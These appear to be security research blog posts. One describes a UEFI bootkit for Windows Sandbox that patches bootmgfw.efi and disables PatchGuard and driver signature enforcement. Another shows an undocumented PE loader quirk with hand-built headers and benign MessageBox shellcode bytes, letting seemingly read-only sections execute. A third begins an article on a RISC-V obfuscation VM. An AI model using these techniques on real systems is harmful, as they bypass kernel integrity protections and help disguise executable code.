What the article did not mention is that there is a folder called BaseLayer pointing directly inside the mounted BaseLayer.vhdx at the following path on the host:

C:\ProgramData\Microsoft\Windows\Containers\BaseImages\<GUID>\BaseLayer

This is handy because it allows us to read/write to the Windows Sandbox file system without having to stop/restart CmService every time we want to try something. The only catch is that you need to run as TrustedInstaller and you need to enable development mode to modify files there.

When you enable development mode there will also be an additional folder called DebugLayer in the same location. This folder exists on the host file system and allows us to overwrite certain files (BCD, registry hives) without having to modify the BaseLayer. The configuration for the DebugLayer appears to be in BaseLayer\Bindings\Debug, but no further time was spent investigating. The downside of enabling development mode is that snapshots are disabled and as a result startup times are significantly increased. After modifying something in the BaseLayer and disabling development mode you also need to delete the Snapshots folder and restart CmService to apply the changes.

Getting code execution at boot time

To understand how to get code execution at boot time you need some background on UEFI. We released Introduction to UEFI a few years back and there is also a very informative series called Geeking out with the UEFI boot manager that is useful for our purposes.

In our case it is enough to know that the firmware will try to load EFI\Boot\bootx64.efi from the default boot device first. You can override this behavior by setting the BootOrder UEFI variable. To find out how Windows Sandbox boots you can run the following PowerShell commands:

> Set-ExecutionPolicy -ExecutionPolicy Unrestricted
> Install-Module UEFI
> Get-UEFIVariable -VariableName BootOrder -AsByteArray
0
0
> Get-UEFIVariable -VariableName Boot0000
VMBus File SystemVMBus\EFI\Microsoft\Boot\bootmgfw.efi

From this we can derive that Windows Sandbox first loads:

\EFI\Microsoft\Boot\bootmgfw.efi

As described in the previous section we can access this file on the host (as TrustedInstaller) via the following path:

C:\ProgramData\Microsoft\Windows\Containers\BaseImages\<GUID>\BaseLayer\Files\EFI\Microsoft\Boot\bootmgfw.efi

To verify our assumption we can rename the file and try to start Windows Sandbox. If you check in Process Monitor you will see vmwp.exe fails to open bootmgfw.efi and nothing happens after that.

Perhaps it is possible to modify UEFI variables and change Boot0000 (Hyper-V Manager can do this for regular VMs so probably there is a way), but for now it will be easier to modify bootmgfw.efi directly.

Bootkit overview

To gain code execution we embed a copy of our payload inside bootmgfw and then we modify the entry point to our payload.

Our EfiEntry does the following:

  • Get the image base/size of the currently running module
  • Relocate the image when necessary
  • Hook the BootServices->OpenProtocol function
  • Get the original AddressOfEntryPoint from the .bootkit section
  • Execute the original entry point

To simplify the injection of SandboxBootkit.efi into the .bootkit section we use the linker flags /FILEALIGN:0x1000 /ALIGN:0x1000. This sets the FileAlignment and SectionAlignment to PAGE_SIZE, which means the file on disk and in-memory are mapped one-to-one.

Bootkit hooks

Note: Many of the ideas presented here come from the DmaBackdoorHv project by Dmytro Oleksiuk, go check it out!

The first issue you run into when modifying bootmgfw.efi on disk is that the self integrity checks will fail. The function responsible for this is called BmFwVerifySelfIntegrity and it directly reads the file from the device (e.g. it does not use the UEFI BootServices API). To bypass this there are two options:

  1. Hook BmFwVerifySelfIntegrity to return STATUS_SUCCESS
  2. Use bcdedit /set {bootmgr} nointegritychecks on to skip the integrity checks. Likely it is possible to inject this option dynamically by modifying the LoadOptions, but this was not explored further

Initially we opted to use bcdedit, but this can be detected from within the sandbox so instead we patch BmFwVerifySelfIntegrity.

We are able to hook into winload.efi by replacing the boot services OpenProtocol function pointer. This function gets called by EfiOpenProtocol, which gets executed as part of winload!BlInitializeLibrary.

In the hook we walk from the return address to the ImageBase and check if the image exports BlImgLoadPEImageEx. The OpenProtocol hook is then restored and the BlImgLoadPEImageEx function is detoured. This function is nice because it allows us to modify ntoskrnl.exe right after it is loaded (and before the entry point is called).

If we detect the loaded image is ntoskrnl.exe we call HookNtoskrnl where we disable PatchGuard and DSE. EfiGuard patches very similar locations so we will not go into much detail here, but here is a quick overview:

  • Driver Signature Enforcement is disabled by patching the parameter to CiInitialize in the function SepInitializeCodeIntegrity
  • PatchGuard is disabled by modifying the KeInitAmd64SpecificState initialization routine

Bonus: Logging from Windows Sandbox

To debug the bootkit on a regular Hyper-V VM there is a great guide by tansadat. Unfortunately there is no known way to enable serial port output for Windows Sandbox (please reach out if you know of one) and we have to find a different way of getting logs out.

Luckily for us Process Monitor allows us to see sandbox file system accesses (filter for vmwp.exe), which allows for a neat trick: accessing a file called \EFI\my log string. As long as we keep the path length under 256 characters and exclude certain characters this works great!

Procmon showing log strings from the bootkit

A more primitive way of debugging is to just kill the VM at certain points to test if code is executing as expected:

void Die() {
    // At least one of these should kill the VM
    __fastfail(1);
    __int2c();
    __ud2();
    *(UINT8*)0xFFFFFFFFFFFFFFFFull = 1;
}

Bonus: Getting started with UEFI

The SandboxBootkit project only uses the headers of the EDK2 project. This might not be convenient when starting out (we had to implement our own EfiQueryDevicePath for instance) and it might be easier to get started with the VisualUefi project.

Final words

That is all for now. You should now be able to load a driver like TitanHide without having to worry about enabling test signing or disabling PatchGuard! With a bit of registry modifications you should also be able to load DTrace (or the more hackable implementation STrace) to monitor syscalls happening inside the sandbox.

Abusing undocumented features to spoof PE section headers

5 June 2023 at 23:00

Introduction

Some time ago, I accidentally came across some interesting behaviour in PE files while debugging an unrelated project. I noticed that setting the SectionAlignment value in the NT header to a value lower than the page size (4096) resulted in significant differences in the way that the image is mapped into memory. Rather than following the usual procedure of parsing the section table to construct the image in memory, the loader appeared to map the entire file, including the headers, into memory with read-write-execute (RWX) permissions - the individual section headers were completely ignored.

As a result of this behaviour, it is possible to create a PE executable without any sections, yet still capable of executing its own code. The code can even be self-modifying if necessary due to the write permissions that are present by default.

One way in which this mode could potentially be abused would be to create a fake section table - on first inspection, this would appear to be a normal PE module containing read-write/read-only data sections, but when launched, the seemingly NX data becomes executable.

While I am sure that this technique will have already been discovered (and potentially abused) in the past, I have been unable to find any documentation online describing it. MSDN does briefly mention that the SectionAlignment value can be less than the page size, but it doesn’t elaborate any further on the implications of this.

Inside the Windows kernel

A quick look in the kernel reveals what is happening. Within MiCreateImageFileMap, we can see the parsing of PE headers - notably, if the SectionAlignment value is less than 0x1000, an undocumented flag (0x200000) is set prior to mapping the image into memory:

	if(v29->SectionAlignment < 0x1000)
	{
		if((SectionFlags & 0x80000) != 0)
 		{
			v17 = 0xC000007B;
			MiLogCreateImageFileMapFailure(v36, v39, *(unsigned int *)(v29 + 64), DWORD1(v99));
			ImageFailureReason = 55;
			goto LABEL_81;
		}
		if(!MiLegacyImageArchitecture((unsigned __int16)v99))
		{
			v17 = 0xC000007B;
			ImageFailureReason = 56;
			goto LABEL_81;
		}
		SectionFlags |= 0x200000;
	}
	v40 = MiBuildImageControlArea(a3, v38, v29, (unsigned int)&v99, SectionFlags, (__int64)&FileSize, (__int64)&v93);

If the aforementioned flag is set, MiBuildImageControlArea treats the entire file as one single section:

	if((SectionFlags & 0x200000) != 0)
	{
		SectionCount = 1;
	}
	else
	{
		SectionCount = a4->NumberOfSections + 1;
	}
	v12 = MiAllocatePool(64, 8 * (7 * SectionCount + (((unsigned __int64)(unsigned int)MiFlags >> 13) & 1)) + 184, (SectionFlags & 0x200000) != 0 ? 0x61436D4D : 0x69436D4D);

As a result, the raw image is mapped into memory with all PTEs assigned MM_EXECUTE_READWRITE protection. As mentioned previously, the IMAGE_SECTION_HEADER list is ignored, meaning a PE module using this mode can have a NumberOfSections value of 0. There are no obvious size restrictions on PE modules using this mode either - the loader will allocate memory based on the SizeOfImage field and copy the file contents accordingly. Any excess memory beyond the size of the file will remain blank.

Demonstration #1 - Executable PE with no sections

The simplest demonstration of this technique would be to create a generic “loader” for position-independent code. I have created the following sample headers by hand for testing:

// (64-bit EXE headers)
BYTE bHeaders64[328] =
{
	0x4D, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x40, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0xF0, 0x00, 0x22, 0x00, 0x0B, 0x02, 0x0E, 0x1D, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x01, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00,
	0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x10, 0x00, 0x48, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x02, 0x00, 0x60, 0x81, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00,

	// (code goes here)
};

BYTE bHeaders32[304] =
{
	0x4D, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x40, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x4C, 0x01, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0xE0, 0x00, 0x02, 0x01, 0x0B, 0x01, 0x0E, 0x1D, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x01, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
	0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x10, 0x00, 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x02, 0x00, 0x40, 0x81, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00,
	0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00,

	// (code goes here)
};

These headers contain a SectionAlignment value of 0x200 (rather than the usual 0x1000), a SizeOfImage value of 0x100000 (1MB), a blank section table, and an entry-point positioned immediately after the headers. Aside from these values, there is nothing special about the remaining fields:

(DOS Header)
   e_magic                       : 0x5A4D
   ...
   e_lfanew                      : 0x40
(NT Header)
   Signature                     : 0x4550
   Machine                       : 0x8664
   NumberOfSections              : 0x0
   TimeDateStamp                 : 0x0
   PointerToSymbolTable          : 0x0
   NumberOfSymbols               : 0x0
   SizeOfOptionalHeader          : 0xF0
   Characteristics               : 0x22
   Magic                         : 0x20B
   MajorLinkerVersion            : 0xE
   MinorLinkerVersion            : 0x1D
   SizeOfCode                    : 0x0
   SizeOfInitializedData         : 0x0
   SizeOfUninitializedData       : 0x0
   AddressOfEntryPoint           : 0x148
   BaseOfCode                    : 0x0
   ImageBase                     : 0x140000000
   SectionAlignment              : 0x200
   FileAlignment                 : 0x200
   MajorOperatingSystemVersion   : 0x6
   MinorOperatingSystemVersion   : 0x0
   MajorImageVersion             : 0x0
   MinorImageVersion             : 0x0
   MajorSubsystemVersion         : 0x6
   MinorSubsystemVersion         : 0x0
   Win32VersionValue             : 0x0
   SizeOfImage                   : 0x100000
   SizeOfHeaders                 : 0x148
   CheckSum                      : 0x0
   Subsystem                     : 0x2
   DllCharacteristics            : 0x8160
   SizeOfStackReserve            : 0x100000
   SizeOfStackCommit             : 0x1000
   SizeOfHeapReserve             : 0x100000
   SizeOfHeapCommit              : 0x1000
   LoaderFlags                   : 0x0
   NumberOfRvaAndSizes           : 0x10
   DataDirectory[0]              : 0x0, 0x0
   ...
   DataDirectory[15]             : 0x0, 0x0
(Start of code)

For demonstration purposes, we will be using some position-independent code that calls MessageBoxA. As the base headers lack an import table, this code must locate and load all dependencies manually - user32.dll in this case. This same payload can be used in both 32-bit and 64-bit environments:

BYTE bMessageBox[939] =
{
	0x8B, 0xC4, 0x6A, 0x00, 0x2B, 0xC4, 0x59, 0x83, 0xF8, 0x08, 0x0F, 0x84,
	0xA0, 0x01, 0x00, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x3C, 0x64, 0xA1,
	0x30, 0x00, 0x00, 0x00, 0x33, 0xD2, 0x53, 0x56, 0x57, 0x8B, 0x40, 0x0C,
	0x33, 0xDB, 0x21, 0x5D, 0xF0, 0x21, 0x5D, 0xEC, 0x8B, 0x40, 0x1C, 0x8B,
	0x00, 0x8B, 0x78, 0x08, 0x8B, 0x47, 0x3C, 0x8B, 0x44, 0x38, 0x78, 0x03,
	0xC7, 0x8B, 0x48, 0x24, 0x03, 0xCF, 0x89, 0x4D, 0xE8, 0x8B, 0x48, 0x20,
	0x03, 0xCF, 0x89, 0x4D, 0xE4, 0x8B, 0x48, 0x1C, 0x03, 0xCF, 0x89, 0x4D,
	0xF4, 0x8B, 0x48, 0x14, 0x89, 0x4D, 0xFC, 0x85, 0xC9, 0x74, 0x5F, 0x8B,
	0x70, 0x18, 0x8B, 0xC1, 0x89, 0x75, 0xF8, 0x33, 0xC9, 0x85, 0xF6, 0x74,
	0x4C, 0x8B, 0x45, 0xE8, 0x0F, 0xB7, 0x04, 0x48, 0x3B, 0xC2, 0x74, 0x07,
	0x41, 0x3B, 0xCE, 0x72, 0xF0, 0xEB, 0x37, 0x8B, 0x45, 0xE4, 0x8B, 0x0C,
	0x88, 0x03, 0xCF, 0x74, 0x2D, 0x8A, 0x01, 0xBE, 0x05, 0x15, 0x00, 0x00,
	0x84, 0xC0, 0x74, 0x1F, 0x6B, 0xF6, 0x21, 0x0F, 0xBE, 0xC0, 0x03, 0xF0,
	0x41, 0x8A, 0x01, 0x84, 0xC0, 0x75, 0xF1, 0x81, 0xFE, 0xFB, 0xF0, 0xBF,
	0x5F, 0x75, 0x74, 0x8B, 0x45, 0xF4, 0x8B, 0x1C, 0x90, 0x03, 0xDF, 0x8B,
	0x75, 0xF8, 0x8B, 0x45, 0xFC, 0x42, 0x3B, 0xD0, 0x72, 0xA9, 0x8D, 0x45,
	0xC4, 0xC7, 0x45, 0xC4, 0x75, 0x73, 0x65, 0x72, 0x50, 0x66, 0xC7, 0x45,
	0xC8, 0x33, 0x32, 0xC6, 0x45, 0xCA, 0x00, 0xFF, 0xD3, 0x8B, 0xF8, 0x33,
	0xD2, 0x8B, 0x4F, 0x3C, 0x8B, 0x4C, 0x39, 0x78, 0x03, 0xCF, 0x8B, 0x41,
	0x20, 0x8B, 0x71, 0x24, 0x03, 0xC7, 0x8B, 0x59, 0x14, 0x03, 0xF7, 0x89,
	0x45, 0xE4, 0x8B, 0x41, 0x1C, 0x03, 0xC7, 0x89, 0x75, 0xF8, 0x89, 0x45,
	0xE8, 0x89, 0x5D, 0xFC, 0x85, 0xDB, 0x74, 0x7D, 0x8B, 0x59, 0x18, 0x8B,
	0x45, 0xFC, 0x33, 0xC9, 0x85, 0xDB, 0x74, 0x6C, 0x0F, 0xB7, 0x04, 0x4E,
	0x3B, 0xC2, 0x74, 0x22, 0x41, 0x3B, 0xCB, 0x72, 0xF3, 0xEB, 0x5A, 0x81,
	0xFE, 0x6D, 0x07, 0xAF, 0x60, 0x8B, 0x75, 0xF8, 0x75, 0x8C, 0x8B, 0x45,
	0xF4, 0x8B, 0x04, 0x90, 0x03, 0xC7, 0x89, 0x45, 0xEC, 0xE9, 0x7C, 0xFF,
	0xFF, 0xFF, 0x8B, 0x45, 0xE4, 0x8B, 0x0C, 0x88, 0x03, 0xCF, 0x74, 0x35,
	0x8A, 0x01, 0xBE, 0x05, 0x15, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x27, 0x6B,
	0xF6, 0x21, 0x0F, 0xBE, 0xC0, 0x03, 0xF0, 0x41, 0x8A, 0x01, 0x84, 0xC0,
	0x75, 0xF1, 0x81, 0xFE, 0xB4, 0x14, 0x4F, 0x38, 0x8B, 0x75, 0xF8, 0x75,
	0x10, 0x8B, 0x45, 0xE8, 0x8B, 0x04, 0x90, 0x03, 0xC7, 0x89, 0x45, 0xF0,
	0xEB, 0x03, 0x8B, 0x75, 0xF8, 0x8B, 0x45, 0xFC, 0x42, 0x3B, 0xD0, 0x72,
	0x89, 0x33, 0xC9, 0xC7, 0x45, 0xC4, 0x54, 0x65, 0x73, 0x74, 0x51, 0x8D,
	0x45, 0xC4, 0x88, 0x4D, 0xC8, 0x50, 0x50, 0x51, 0xFF, 0x55, 0xF0, 0x6A,
	0x7B, 0x6A, 0xFF, 0xFF, 0x55, 0xEC, 0x5F, 0x5E, 0x5B, 0xC9, 0xC3, 0x90,
	0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
	0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89,
	0x74, 0x24, 0x18, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x41, 0x54, 0x41, 0x56,
	0x41, 0x57, 0x48, 0x83, 0xEC, 0x40, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60,
	0x00, 0x00, 0x00, 0x33, 0xFF, 0x45, 0x33, 0xFF, 0x45, 0x33, 0xE4, 0x45,
	0x33, 0xC9, 0x48, 0x8B, 0x48, 0x18, 0x48, 0x8B, 0x41, 0x30, 0x48, 0x8B,
	0x08, 0x48, 0x8B, 0x59, 0x10, 0x48, 0x63, 0x43, 0x3C, 0x8B, 0x8C, 0x18,
	0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xCB, 0x8B, 0x69, 0x24, 0x44, 0x8B,
	0x71, 0x20, 0x48, 0x03, 0xEB, 0x44, 0x8B, 0x59, 0x1C, 0x4C, 0x03, 0xF3,
	0x8B, 0x71, 0x14, 0x4C, 0x03, 0xDB, 0x85, 0xF6, 0x0F, 0x84, 0x80, 0x00,
	0x00, 0x00, 0x44, 0x8B, 0x51, 0x18, 0x33, 0xC9, 0x45, 0x85, 0xD2, 0x74,
	0x69, 0x48, 0x8B, 0xD5, 0x0F, 0x1F, 0x40, 0x00, 0x0F, 0xB7, 0x02, 0x41,
	0x3B, 0xC1, 0x74, 0x0D, 0xFF, 0xC1, 0x48, 0x83, 0xC2, 0x02, 0x41, 0x3B,
	0xCA, 0x72, 0xED, 0xEB, 0x4D, 0x45, 0x8B, 0x04, 0x8E, 0x4C, 0x03, 0xC3,
	0x74, 0x44, 0x41, 0x0F, 0xB6, 0x00, 0x33, 0xD2, 0xB9, 0x05, 0x15, 0x00,
	0x00, 0x84, 0xC0, 0x74, 0x35, 0x0F, 0x1F, 0x00, 0x6B, 0xC9, 0x21, 0x8D,
	0x52, 0x01, 0x0F, 0xBE, 0xC0, 0x03, 0xC8, 0x42, 0x0F, 0xB6, 0x04, 0x02,
	0x84, 0xC0, 0x75, 0xEC, 0x81, 0xF9, 0xFB, 0xF0, 0xBF, 0x5F, 0x75, 0x08,
	0x41, 0x8B, 0x3B, 0x48, 0x03, 0xFB, 0xEB, 0x0E, 0x81, 0xF9, 0x6D, 0x07,
	0xAF, 0x60, 0x75, 0x06, 0x45, 0x8B, 0x23, 0x4C, 0x03, 0xE3, 0x41, 0xFF,
	0xC1, 0x49, 0x83, 0xC3, 0x04, 0x44, 0x3B, 0xCE, 0x72, 0x84, 0x48, 0x8D,
	0x4C, 0x24, 0x20, 0xC7, 0x44, 0x24, 0x20, 0x75, 0x73, 0x65, 0x72, 0x66,
	0xC7, 0x44, 0x24, 0x24, 0x33, 0x32, 0x44, 0x88, 0x7C, 0x24, 0x26, 0xFF,
	0xD7, 0x45, 0x33, 0xC9, 0x48, 0x8B, 0xD8, 0x48, 0x63, 0x48, 0x3C, 0x8B,
	0x94, 0x01, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xD0, 0x8B, 0x7A, 0x24,
	0x8B, 0x6A, 0x20, 0x48, 0x03, 0xF8, 0x44, 0x8B, 0x5A, 0x1C, 0x48, 0x03,
	0xE8, 0x8B, 0x72, 0x14, 0x4C, 0x03, 0xD8, 0x85, 0xF6, 0x74, 0x77, 0x44,
	0x8B, 0x52, 0x18, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x33, 0xC0, 0x45, 0x85,
	0xD2, 0x74, 0x5B, 0x48, 0x8B, 0xD7, 0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00,
	0x0F, 0xB7, 0x0A, 0x41, 0x3B, 0xC9, 0x74, 0x0D, 0xFF, 0xC0, 0x48, 0x83,
	0xC2, 0x02, 0x41, 0x3B, 0xC2, 0x72, 0xED, 0xEB, 0x3D, 0x44, 0x8B, 0x44,
	0x85, 0x00, 0x4C, 0x03, 0xC3, 0x74, 0x33, 0x41, 0x0F, 0xB6, 0x00, 0x33,
	0xD2, 0xB9, 0x05, 0x15, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x24, 0x66, 0x90,
	0x6B, 0xC9, 0x21, 0x8D, 0x52, 0x01, 0x0F, 0xBE, 0xC0, 0x03, 0xC8, 0x42,
	0x0F, 0xB6, 0x04, 0x02, 0x84, 0xC0, 0x75, 0xEC, 0x81, 0xF9, 0xB4, 0x14,
	0x4F, 0x38, 0x75, 0x06, 0x45, 0x8B, 0x3B, 0x4C, 0x03, 0xFB, 0x41, 0xFF,
	0xC1, 0x49, 0x83, 0xC3, 0x04, 0x44, 0x3B, 0xCE, 0x72, 0x92, 0x45, 0x33,
	0xC9, 0xC7, 0x44, 0x24, 0x20, 0x54, 0x65, 0x73, 0x74, 0x4C, 0x8D, 0x44,
	0x24, 0x20, 0xC6, 0x44, 0x24, 0x24, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x20,
	0x33, 0xC9, 0x41, 0xFF, 0xD7, 0xBA, 0x7B, 0x00, 0x00, 0x00, 0x48, 0xC7,
	0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0x41, 0xFF, 0xD4, 0x48, 0x8B, 0x5C, 0x24,
	0x60, 0x48, 0x8B, 0x6C, 0x24, 0x68, 0x48, 0x8B, 0x74, 0x24, 0x70, 0x48,
	0x8B, 0x7C, 0x24, 0x78, 0x48, 0x83, 0xC4, 0x40, 0x41, 0x5F, 0x41, 0x5E,
	0x41, 0x5C, 0xC3
};

As a side note, several readers have asked how I created this sample code (previously used in another project) which works correctly in both 32-bit and 64-bit modes. The answer is very simple: it begins by storing the original stack pointer value, pushes a value onto the stack, and compares the new stack pointer to the original value. If the difference is 8, the 64-bit code is executed - otherwise, the 32-bit code is executed. While there are certainly more efficient approaches to achieve this outcome, this method is sufficient for demonstration purposes:

mov eax, esp	; store stack ptr
push 0		; push a value onto the stack
sub eax, esp	; calculate difference
pop ecx		; restore stack
cmp eax, 8	; check if the difference is 8
je 64bit_code
32bit_code:
xxxx
64bit_code:
xxxx

By appending this payload to the original headers above, we can generate a valid and functional EXE file. The provided PE headers contain a hardcoded SizeOfImage value of 0x100000 which allows for a maximum payload size of almost 1MB, but this can be increased if necessary. Running this program will display our message box, despite the fact that the PE headers lack any executable sections, or any sections at all in this case:

Demonstration #2 - Executable PE with spoofed sections

Perhaps more interestingly, it is also possible to create a fake section table using this mode as mentioned earlier. I have created another EXE which follows a similar format to the previous samples, but also includes a single read-only section:

The main payload has been stored within this read-only section and the entry-point has been updated to 0x1000. Under normal circumstances, you would expect the program to crash immediately with an access-violation exception due to attempting to execute read-only memory. However, this doesn’t occur here - the target memory region contains RWX permissions and the payload is executed successfully:

Notes

The sample EXE files can be downloaded here.

The proof-of-concepts described above involve appending the payload to the end of the NT headers, but it is also possible to embed executable code within the headers themselves using this technique. The module will fail to load if the AddressOfEntryPoint value is less than the SizeOfHeaders value, but this can easily be bypassed since the SizeOfHeaders value is not strictly enforced. It can even be set to 0, allowing the entry-point to be positioned anywhere within the file.

It is possible that this feature was initially designed to allow for very small images, enabling the headers, code, and data to fit within a single memory page. As memory protection is applied per-page, it makes sense to apply RWX to all PTEs when the virtual section size is lower than the page size - it would otherwise be impossible to manage protections correctly if multiple sections resided within a single page.

I have tested these EXE files on various different versions of Windows from Vista to 10 with success in all cases. Unfortunately it has very little practical use in the real world as it won’t deceive any modern disassemblers - nonetheless, it remains an interesting concept.

RISC-Y Business: Raging against the reduced machine

24 December 2023 at 11:00

Abstract

In recent years the interest in obfuscation has increased, mainly because people want to protect their intellectual property. Unfortunately, most of what’s been written is focused on the theoretical aspects. In this article, we will discuss the practical engineering challenges of developing a low-footprint virtual machine interpreter. The VM is easily embeddable, built on open-source technology and has various hardening features that were achieved with minimal effort.

Introduction

In addition to protecting intellectual property, a minimal virtual machine can be useful for other reasons. You might want to have an embeddable interpreter to execute business logic (shellcode), without having to deal with RWX memory. It can also be useful as an educational tool, or just for fun.

Creating a custom VM architecture (similar to VMProtect/Themida) means that we would have to deal with binary rewriting/lifting or write our own compiler. Instead, we decided to use a preexisting architecture, which would be supported by LLVM: RISC-V. This architecture is already widely used for educational purposes and has the advantage of being very simple to understand and implement.

Initially, the main contender was WebAssembly. However, existing interpreters were very bloated and would also require dealing with a binary format. Additionally, it looks like WASM64 is very underdeveloped and our memory model requires 64-bit pointer support. SPARC and PowerPC were also considered, but RISC-V seems to be more popular and there are a lot more resources available for it.

WebAssembly was designed for sandboxing and therefore strictly separates guest and host memory. Because we will be writing our own RISC-V interpreter, we chose to instead share memory between the guest and the host. This means that pointers in the RISC-V execution context (the guest) are valid in the host process and vice-versa.

As a result, the instructions responsible for reading/writing memory can be implemented as a simple memcpy call and we do not need additional code to translate/validate memory accesses (which helps with our goal of small code size). With this property, we need to implement only two system calls to perform arbitrary operations in the host process:

uintptr_t riscvm_get_peb();
uintptr_t riscvm_host_call(uintptr_t rip, uintptr_t args[13]);

